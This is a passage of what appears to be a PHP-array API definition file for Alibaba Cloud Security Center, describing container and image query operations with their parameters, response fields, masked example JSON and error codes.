\\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 3\\n },\\n \\"ContainerInstanceList\\": [\\n {\\n \\"ImageRepoTag\\": \\"0.3.1.0-dfa2010-aliyun\\",\\n \\"AppName\\": \\"alibaba-log-controller\\",\\n \\"PodIp\\": \\"172.24.XX.XX\\",\\n \\"VulCount\\": 15,\\n \\"HcStatus\\": \\"YES\\",\\n \\"ImageId\\": \\"registry-vpc.cn-beijing.aliyuncs.com/acs/log-controller@sha256:5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****\\",\\n \\"ClusterId\\": \\"cfb41a869c71e4678a97021582dd8a****\\",\\n \\"ImageRepoName\\": \\"log-controller\\",\\n \\"HostIp\\": \\"172.24.XX.XX\\",\\n \\"Pod\\": \\"alibaba-log-controller-6f847f8786-mk2mg\\",\\n \\"RiskStatus\\": \\"YES\\",\\n \\"VulStatus\\": \\"YES\\",\\n \\"AlarmStatus\\": \\"YES\\",\\n \\"Image\\": \\"docker.io/library/nginx:latest\\",\\n \\"ImageRepoNamespace\\": \\"acs\\",\\n \\"ImageDigest\\": \\"5b046e2de8c490819125193ee2eb71a66f2cc16c032dcd8b69ead4be1024****\\",\\n \\"Namespace\\": \\"kube-system\\",\\n \\"InstanceId\\": \\"i-2zegzjyotydfkz9****\\",\\n \\"NodeInfo\\": \\"test\\",\\n \\"ImageUuid\\": \\"5f23dfbceec289a49ac94e035e2****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"UpdateMark\\": \\"79cff74d-e967-5407-8a78-ee03b9****\\",\\n \\"ContainerId\\": \\"48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d****\\",\\n \\"NodeName\\": \\"test\\",\\n \\"HcCount\\": 1,\\n \\"ClusterName\\": \\"test\\",\\n \\"RiskCount\\": \\"1\\",\\n \\"AlarmCount\\": 1,\\n \\"CreateTimestamp\\": 1670368337000,\\n \\"Exposed\\": 1,\\n \\"ExposedDetail\\": \\"[{\\\\\\\\\\\\\\"exposedName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"nginx-ingress-lb\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"exposedType\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"LoadBalancer\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"portDOList\\\\\\\\\\\\\\":[{\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"http\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"nodePort\\\\\\\\\\\\\\":32268,\\\\\\\\\\\\\\"port\\\\\\\\\\\\\\":80,\\\\\\\\\\\\\\"targetPort\\\\\\\\\\\\\\":80},{\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"https\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"nodePort\\\\\\\\\\\\\\":32376,\\\\\\\\\\\\\\"port\\\\\\\\\\\\\\":443,\\\\\\\\\\\\\\"targetPort\\\\\\\\\\\\\\":443}]}] \\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeContainerInstances', ], 'DescribeImageCriteria' => [ 'summary' => 'Queries the search conditions that are used to query images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The keyword that you specify for fuzzy search when you query the image.'."\n" ."\n" .'> The value of this parameter can be an image ID, image tag, image instance ID, image repository name, image repository ID, image repository namespace, image region, image digest, or image repository type.'."\n", 'type' => 'string', 'required' => false, 'example' => '525', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'CriteriaList' => [ 'description' => 'The list of the search conditions.', 'type' => 'array', 'items' => [ 'description' => 'search conditions.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" .'- **input**: The search condition needs to be specified.'."\n" .'- **select**: The search condition is an option that can be selected from the drop-down list.', 'type' => 'string', 'example' => 'input', ], 'Name' => [ 'description' => 'The name of the search condition.'."\n" .'- **tag**: the tag of the image'."\n" .'- **digest**: the digest of the image'."\n" .'- **vulStatus**: the status of the vulnerability'."\n" .'- **alarmStatus**: the status of the alert'."\n" .'- **riskStatus**: the status of the risk'."\n" .'- **registryType**: the type of the image repository', 'type' => 'string', 'example' => 'vulStatus', ], 'Values' => [ 'description' => 'The values of the search condition. This parameter is returned only if the value of Type is select.'."\n" .'> If the value of **Type** is **input**, the value of this parameter is an empty string.', 'type' => 'string', 'example' => 'NO,YES', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"input\\",\\n \\"Name\\": \\"vulStatus\\",\\n \\"Values\\": \\"NO,YES\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageCriteria', ], 'DescribeImageInstances' => [ 'summary' => 'Queries information about images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92107', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search condition that is used to filter the server. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **name**: the search condition'."\n" ."\n" .'* **name**: the value of the search condition'."\n" ."\n" .'* **logicalExp**: the logical relation for multiple search conditions Valid values:'."\n" ."\n" .' * **OR**: The search conditions use a logical **OR**.'."\n" .' * **AND**: The search conditions use a logical **AND**.'."\n" ."\n" .'> You can call the [DescribeImageCriteria](~~471822~~) operation to query the supported search conditions.', 'type' => 'string', 'required' => false, 'example' => '[{"name":"instanceId","value":"390100182","logicalExp":"AND"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relationship that you want to use to evaluate multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: The search conditions are evaluated by using a logical **OR**.'."\n" .'* **AND**: The search conditions are evaluated by using a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> : We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Scanned', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the image is scanned. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of returned entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of images returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'ImageInstanceList' => [ 'description' => 'The information about the images.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the image. Valid values:'."\n" ."\n" .'* **NORMAL**'."\n", 'type' => 'string', 'example' => 'NORMAL', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => 'a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****', ], 'RegistryType' => [ 'description' => 'The type of the image. Valid values:'."\n" ."\n" .'* **acr**'."\n" .'* **harbor**'."\n" .'* **quay**'."\n" .'* **CI/CD**'."\n", 'type' => 'string', 'example' => 'acr', ], 'Tag' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'example' => 'mysql_5.7', ], 'ImageUpdate' => [ 'description' => 'The timestamp generated when the image was updated. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '1600069948849', ], 'RepoType' => [ 'description' => 'The type of the repository. Valid values:'."\n" ."\n" .'* **private**'."\n" .'* **public**'."\n", 'type' => 'string', 'example' => 'private', ], 'ImageSize' => [ 'description' => 'The size of the image. Unit: MB.'."\n", 'type' => 'string', 'example' => '1604487690', ], 'HcStatus' => [ 'description' => 'Indicates whether baseline risks exist. Valid values:'."\n" ."\n" .'* **NO**'."\n" .'* **YES**'."\n", 'type' => 'string', 'example' => 'NO', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities in the image.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageId' => [ 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => 'c20987f18b130f9d144c9828df630417e2a9523148930dc3963e9d0dab30****', ], 'Endpoints' => [ 'description' => 'The address of the image.'."\n", 'type' => 'string', 'example' => '[]', ], 'RiskStatus' => [ 'description' => 'Indicates whether risks exist. Valid values:'."\n" ."\n" .'* **NO**'."\n" .'* **YES**'."\n", 'type' => 'string', 'example' => 'NO', ], 'ImageCreate' => [ 'description' => 'The timestamp generated when the image was created. Unit: milliseconds.'."\n", 'type' => 'string', 'example' => '1600069948849', ], 'VulStatus' => [ 'description' => 'Indicates whether vulnerabilities exist in the image. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated for the image. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'ScaProgress' => [ 'description' => 'The scan progress of the image. Valid values: 0 to 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'InstanceId' => [ 'description' => 'The instance ID of the image.'."\n", 'type' => 'string', 'example' => '39010****', ], 'RegionId' => [ 'description' => 'The region ID of the image.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'ScaStatus' => [ 'description' => 'The scan status of the image. Valid values:'."\n" ."\n" .'* **INIT**: The image scan task is pending startup.'."\n" .'* **START**: The image scan task is started.'."\n" .'* **MESSAGE_SEND**: The message about the image scan task is sent.'."\n" .'* **START_RUN**: The image analysis task is started.'."\n" .'* **DOWNLOAD**: The image scan result is downloaded.'."\n" .'* **PRE_ANALYZER**: The image pre-analysis is started.'."\n" .'* **WEB_SHELL_ANALYZER**: The WebShell analysis of the image is complete.'."\n" .'* **CVE_ANALYZER**: The Common Vulnerabilities and Exposures (CVE) analysis of the image is complete.'."\n" .'* **BIN_ANALYZER**: The binary analysis of the image is complete.'."\n" .'* **OTHER_ANALYZER**: The extended analysis of the image is complete.'."\n" .'* **SUCCESS**: The image scan task is complete.'."\n" .'* **PRE_ANALYZER_SUCCESS**: The image pre-analysis is complete.'."\n" .'* **FAIL**: The image scan task failed.'."\n" .'* **TIMEOUT**: The image scan task timed out.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '12f80307-60aa-4efa-863a-56d72fb****', ], 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'f2b86d20bf0855af6aa268ce90fd****', ], 'HcCount' => [ 'description' => 'The number of baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ScaResult' => [ 'description' => 'The error code of the image scan result. Valid values:'."\n" ."\n" .'* **TASK_NOT_EXISTS**: The image scan task does not exist.'."\n" .'* **TASK_NOT_SUPPORT_REGION**: The image scan task cannot be performed in the current region.'."\n" .'* **forbid_create_repeat_task**: The image scan task already exists.'."\n", 'type' => 'string', 'example' => 'TASK_NOT_SUPPORT_REGION', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'sas-script-test', ], 'AlarmCount' => [ 'description' => 'The number of alerts that are generated for the image.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'N/A', ], 'Deployed' => [ 'description' => 'Indicates whether the image was deployed. Valid values:'."\n" ."\n" .'* **0**: The image was not deployed.'."\n" .'* **1**: The image was deployed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'LastScanTime' => [ 'description' => 'The timestamp when the last scan was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1721363159000', ], 'SourceBizTag' => [ 'title' => '镜像业务用途标签。', 'description' => 'The usage label of the image.', 'type' => 'string', 'example' => 'PAI', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 4\\n },\\n \\"ImageInstanceList\\": [\\n {\\n \\"Status\\": \\"NORMAL\\",\\n \\"Digest\\": \\"a5ccdd9b166b67e02954aa9b618fe19b7968bd56a15463d2ad7f2643ba5b****\\",\\n \\"RegistryType\\": \\"acr\\",\\n \\"Tag\\": \\"mysql_5.7\\",\\n \\"ImageUpdate\\": \\"1600069948849\\",\\n \\"RepoType\\": \\"private\\",\\n \\"ImageSize\\": \\"1604487690\\",\\n \\"HcStatus\\": \\"NO\\",\\n \\"VulCount\\": 0,\\n \\"ImageId\\": \\"c20987f18b130f9d144c9828df630417e2a9523148930dc3963e9d0dab30****\\",\\n \\"Endpoints\\": \\"[]\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"ImageCreate\\": \\"1600069948849\\",\\n \\"VulStatus\\": \\"NO\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"ScaProgress\\": 100,\\n \\"InstanceId\\": \\"39010****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"ScaStatus\\": \\"SUCCESS\\",\\n \\"Uuid\\": \\"12f80307-60aa-4efa-863a-56d72fb****\\",\\n \\"RepoId\\": \\"f2b86d20bf0855af6aa268ce90fd****\\",\\n \\"HcCount\\": 0,\\n \\"ScaResult\\": \\"TASK_NOT_SUPPORT_REGION\\",\\n \\"RepoName\\": \\"sas-script-test\\",\\n \\"AlarmCount\\": 0,\\n \\"RepoNamespace\\": \\"N/A\\",\\n \\"Deployed\\": 1,\\n \\"LastScanTime\\": 1721363159000,\\n \\"SourceBizTag\\": \\"PAI\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageInstances', ], 'DescribeImageRepoDetailList' => [ 'summary' => 'Queries the information about image repositories.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], ], 'parameters' => [ [ 'name' => 'Criteria', 'in' => 'query', 'schema' => [ 'description' => 'The search conditions for assets. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **name**: the search condition.'."\n" ."\n" .'* **name**: the value of the search condition.'."\n" ."\n" .'* **logicalExp**: the logical relation for multiple search conditions. Valid values:'."\n" ."\n" .' * **OR**: The search conditions use a logical **OR**.'."\n" .' * **AND**: The search conditions use a logical **AND**.'."\n" ."\n" .'> You can call the [DescribeImageRepoCriteria](~~DescribeImageRepoCriteria~~) operation to query the supported search conditions.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"name":"vulStatus","value":"YES","logicalExp":"AND"}]', ], ], [ 'name' => 'LogicalExp', 'in' => 'query', 'schema' => [ 'description' => 'The logical relationship that you want to use to evaluate multiple search conditions. Valid values:'."\n" ."\n" .'* **OR**: Search conditions are evaluated by using a logical **OR**.'."\n" .'* **AND**: Search conditions are evaluated by using a logical **AND**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'OR', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of image repositories.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '19', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'ImageRepoResponses' => [ 'description' => 'The information about image repositories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image repository.'."\n", 'type' => 'object', 'properties' => [ 'Endpoints' => [ 'description' => 'The address of the image repository.'."\n", 'type' => 'string', 'example' => '['."\n" .' {'."\n" .' "domains": ['."\n" .' "****.cn-shenzhen.cr.aliyuncs.com"'."\n" .' ],'."\n" .' "type": "internet"'."\n" .' },'."\n" .' {'."\n" .' "domains": ['."\n" .' "****.cn-shenzhen.cr.aliyuncs.com"'."\n" .' ],'."\n" .' "type": "intranet"'."\n" .' },'."\n" .' {'."\n" .' "domains": ['."\n" .' "****.cn-shenzhen.cr.aliyuncs.com"'."\n" .' ],'."\n" .' "type": "vpc"'."\n" .' }'."\n" .']', ], 'RiskStatus' => [ 'description' => 'Indicates whether the image repository is at risk. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'VulStatus' => [ 'description' => 'Indicates whether vulnerabilities are detected on the image repository. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'AlarmStatus' => [ 'description' => 'Indicates whether alerts are generated for the image repository. Valid values:'."\n" ."\n" .'* **YES**'."\n" .'* **NO**'."\n", 'type' => 'string', 'example' => 'NO', ], 'RegistryType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**'."\n" .'* **harbor**'."\n" .'* **quay**'."\n" .'* **CI/CD**'."\n", 'type' => 'string', 'example' => 'acr', ], 'InstanceId' => [ 'description' => 'The ID of the image.'."\n", 'type' => 'string', 'example' => 'i-uf6fsg6xlmorug5****', ], 'RegionId' => [ 'description' => 'The region ID of the image.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'RepoId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'string', 'example' => 'crr-2chlzf47w2rk****', ], 'HcCount' => [ 'description' => 'The number of baseline risk items on the image repository.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities detected on the image repository.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HcStatus' => [ 'description' => 'Indicates whether baseline risk items are detected on the image repository. Valid values:'."\n" ."\n" .'* **NO**'."\n" .'* **YES**'."\n", 'type' => 'string', 'example' => 'NO', ], 'AlarmCount' => [ 'description' => 'The number of alerts that are generated for the image repository.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'zeus', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'test-dev', ], 'ImageCount' => [ 'description' => 'The number of images.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'HasRiskImageCount' => [ 'description' => 'The number of the images on which risks are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'SourceBizTag' => [ 'title' => '镜像业务用途标签。', 'description' => 'The usage label of the image.', 'type' => 'string', 'example' => 'PAI', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 19,\\n \\"Count\\": 2\\n },\\n \\"ImageRepoResponses\\": [\\n {\\n \\"Endpoints\\": \\"[\\\\n {\\\\n \\\\\\"domains\\\\\\": [\\\\n \\\\\\"****.cn-shenzhen.cr.aliyuncs.com\\\\\\"\\\\n ],\\\\n \\\\\\"type\\\\\\": \\\\\\"internet\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"domains\\\\\\": [\\\\n \\\\\\"****.cn-shenzhen.cr.aliyuncs.com\\\\\\"\\\\n ],\\\\n \\\\\\"type\\\\\\": \\\\\\"intranet\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"domains\\\\\\": [\\\\n \\\\\\"****.cn-shenzhen.cr.aliyuncs.com\\\\\\"\\\\n ],\\\\n \\\\\\"type\\\\\\": \\\\\\"vpc\\\\\\"\\\\n }\\\\n]\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"VulStatus\\": \\"NO\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"RegistryType\\": \\"acr\\",\\n \\"InstanceId\\": \\"i-uf6fsg6xlmorug5****\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"RepoId\\": \\"crr-2chlzf47w2rk****\\",\\n \\"HcCount\\": 0,\\n \\"VulCount\\": 0,\\n \\"HcStatus\\": \\"NO\\",\\n \\"AlarmCount\\": 0,\\n \\"RepoName\\": \\"zeus\\",\\n \\"RepoNamespace\\": \\"test-dev\\",\\n \\"ImageCount\\": 3,\\n \\"HasRiskImageCount\\": 2,\\n \\"SourceBizTag\\": \\"PAI\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageRepoDetailList', ], 'DescribeImageRepoCriteria' => [ 'summary' => 'Obtains the filter conditions that are supported by the image repository.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The value of the filter condition.'."\n" ."\n" .'> You can perform fuzzy search based on the image ID, image tag, image instance ID, image repository name, image repository namespace, image repository ID, image repository region, image digest, and image repository type.'."\n", 'type' => 'string', 'required' => false, 'example' => '2.0.2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', ], 'CriteriaList' => [ 'description' => 'An array consisting of the filter conditions that are supported by the image repository.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the filter condition that is supported by the image repository.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: The search condition needs to be specified.'."\n" .'* **select**: The search condition is an option that can be selected from the drop-down list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the search condition. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the image instance.'."\n" .'* **repoName**: the name of the image repository.'."\n" .'* **repoId**: the ID of the image repository.'."\n" .'* **repoNamespace**: the namespace of the image repository.'."\n" .'* **regionId**: the region in which the image resides.'."\n" .'* **vulStatus**: indicates whether vulnerabilities exist.'."\n" .'* **alarmStatus**: indicates whether security alerts exist.'."\n" .'* **hcStatus**: indicates whether baseline risks exist.'."\n" .'* **riskStatus**: indicates whether risks exist.'."\n" .'* **registryType**: the type of the image repository.'."\n" .'* **ImageId**: the image ID.'."\n" .'* **tag**: the image tag.'."\n", 'type' => 'string', 'example' => 'vulStatus', ], 'Values' => [ 'description' => 'The values of the search condition. This parameter is returned only if the value of **Type** is set to **select**.'."\n" ."\n" .'> If the value of **Type** is set to **input**, the return value of this parameter is empty.'."\n", 'type' => 'string', 'example' => 'NO,YES', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"vulStatus\\",\\n \\"Values\\": \\"NO,YES\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeImageRepoCriteria', ], 'GetClusterSuspEventStatistics' => [ 'summary' => 'Queries the statistics on alert events that are generated for containers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of container clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c6094b964bfc145fe9e418c869e7e****', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'SuspStatistics' => [ 'description' => 'The number of alerts by risk level.'."\n", 'type' => 'object', 'properties' => [ 'Serious' => [ 'description' => 'The number of alerts whose Emergency level is Urgent.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Suspicious' => [ 'description' => 'The number of alerts whose Emergency level is Suspicious.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Remind' => [ 'description' => 'The number of alerts whose Emergency level is Reminder.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'Service error, please try again later.', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SuspStatistics\\": {\\n \\"Serious\\": 1,\\n \\"Suspicious\\": 2,\\n \\"Remind\\": 1\\n },\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\"\\n}","type":"json"}]', 'title' => 'GetClusterSuspEventStatistics', ], 